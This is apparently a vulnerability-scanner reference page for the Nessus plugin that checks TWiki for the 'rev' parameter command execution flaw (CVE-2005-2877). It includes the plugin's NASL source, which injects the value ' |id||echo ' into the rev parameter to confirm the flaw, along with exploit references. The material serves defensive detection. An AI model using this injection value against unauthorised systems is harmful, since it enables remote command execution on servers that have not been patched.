TWiki 'rev' Parameter Arbitrary Command Execution - Nessus

High   Plugin ID: 19704

This page contains detailed information about the TWiki 'rev' Parameter Arbitrary Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

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Plugin Overview

ID: 19704
Name: TWiki 'rev' Parameter Arbitrary Command Execution
Filename: twiki_rev_cmd_exec.nasl
Vulnerability Published: 2005-09-13
This Plugin Published: 2005-09-15
Last Modification Time: 2022-04-11
Plugin Version: 1.21
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: twiki_detect.nasl
Required KB Items [?]: installed_sw/TWiki

Vulnerability Information

Severity: High
Vulnerability Published: 2005-09-13
Patch Published: 2004-09-11
CVE [?]: CVE-2005-2877
CPE [?]: cpe:/a:twiki:twiki

Synopsis

The remote web server hosts a CGI application that is affected by an arbitrary command execution vulnerability.

Description

The version of TWiki running on the remote host allows an attacker to manipulate input to the 'rev' parameter in order to execute arbitrary shell commands on the remote host subject to the privileges of the web server user id.

Solution

Apply the appropriate hotfix referenced in the vendor advisory.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the TWiki 'rev' Parameter Arbitrary Command Execution vulnerability:

  1. Metasploit: exploit/unix/webapp/twiki_history
    [TWiki History TWikiUsers rev Parameter Command Execution]
  2. Exploit-DB: exploits/php/webapps/16892.rb
    [EDB-16892: TWiki History TWikiUsers - 'rev' Command Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:8.2 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.2 (High)

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Plugin Source

This is the twiki_rev_cmd_exec.nasl nessus plugin source code. This script is Copyright (C) 2005-2022 and is owned by Tenable, Inc. or an Affiliate thereof. 

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(19704);
  script_version("1.21");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2005-2877");
  script_bugtraq_id(14834);

  script_name(english:"TWiki 'rev' Parameter Arbitrary Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a CGI application that is affected by
an arbitrary command execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of TWiki running on the remote host allows an attacker to
manipulate input to the 'rev' parameter in order to execute arbitrary
shell commands on the remote host subject to the privileges of the web
server user id.");
  # http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?c70904f3");
  script_set_attribute(attribute:"solution", value:
"Apply the appropriate hotfix referenced in the vendor advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"metasploit_name", value:'TWiki History TWikiUsers rev Parameter Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/09/13");
  script_set_attribute(attribute:"patch_publication_date", value:"2004/09/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/09/15");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:twiki:twiki");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2005-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("twiki_detect.nasl");
  script_require_keys("installed_sw/TWiki");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("install_func.inc");

app = "TWiki";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

if ("cgi-bin" >!< dir)
{
  dir = ereg_replace(pattern:"(/[^/]+/).*", string:dir, replace:"\1");
  dir = dir + "bin/";
}
else
  dir = dir - "view";

url = "view/Main/TWikiUsers?rev=2" + urlencode(str:" |id||echo ");

res = http_send_recv3(
  method : "GET",
  port   : port,
  item   : dir + url,
  exit_on_fail : TRUE
);

vuln = egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res[2]);
if (!empty_or_null(vuln))
{
  security_report_v4(
    port        : port,
    severity    : SECURITY_HOLE,
    cmd         : 'id',
    line_limit  : 2,
    request     : make_list(build_url(qs:dir+url, port:port)),
    output      : chomp(vuln)
  );
  exit(0);
}
else
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/twiki_rev_cmd_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\twiki_rev_cmd_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/twiki_rev_cmd_exec.nasl

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How to Run

Here is how to run the TWiki 'rev' Parameter Arbitrary Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select TWiki 'rev' Parameter Arbitrary Command Execution plugin ID 19704.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl twiki_rev_cmd_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a twiki_rev_cmd_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - twiki_rev_cmd_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state twiki_rev_cmd_exec.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 63399 - TWiki < 5.1.3 Multiple Vulnerabilities
  • 22123 - TWiki configure Script Arbitrary Command Execution
  • 82898 - TWiki 'debugenableplugins' Parameter RCE
  • 34031 - TWiki bin/configure 'image' Parameter Traversal Arbitrary File Access/Execution
  • 34246 - Debian DSA-1639-1 : twiki - command execution
  • 78816 - FreeBSD : twiki -- remote Perl code execution (21ce1840-6107-11e4-9e84-0022156e8794)
  • 34206 - FreeBSD : twiki -- Arbitrary code execution in session files (9227dcaf-827f-11dd-9cd7-0050568452ac)
  • 36281 - FreeBSD : twiki -- arbitrary shell command execution (b4af3ede-36e9-11d9-a9e7-0001020eed82)
  • 35286 - FreeBSD : twiki -- multiple vulnerabilities (f98dea27-d687-11dd-abd1-0050568452ac)
  • 15827 - GLSA-200411-33 : TWiki: Arbitrary command execution

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file twiki_rev_cmd_exec.nasl version 1.21. For more plugins, visit the Nessus Plugin Library.

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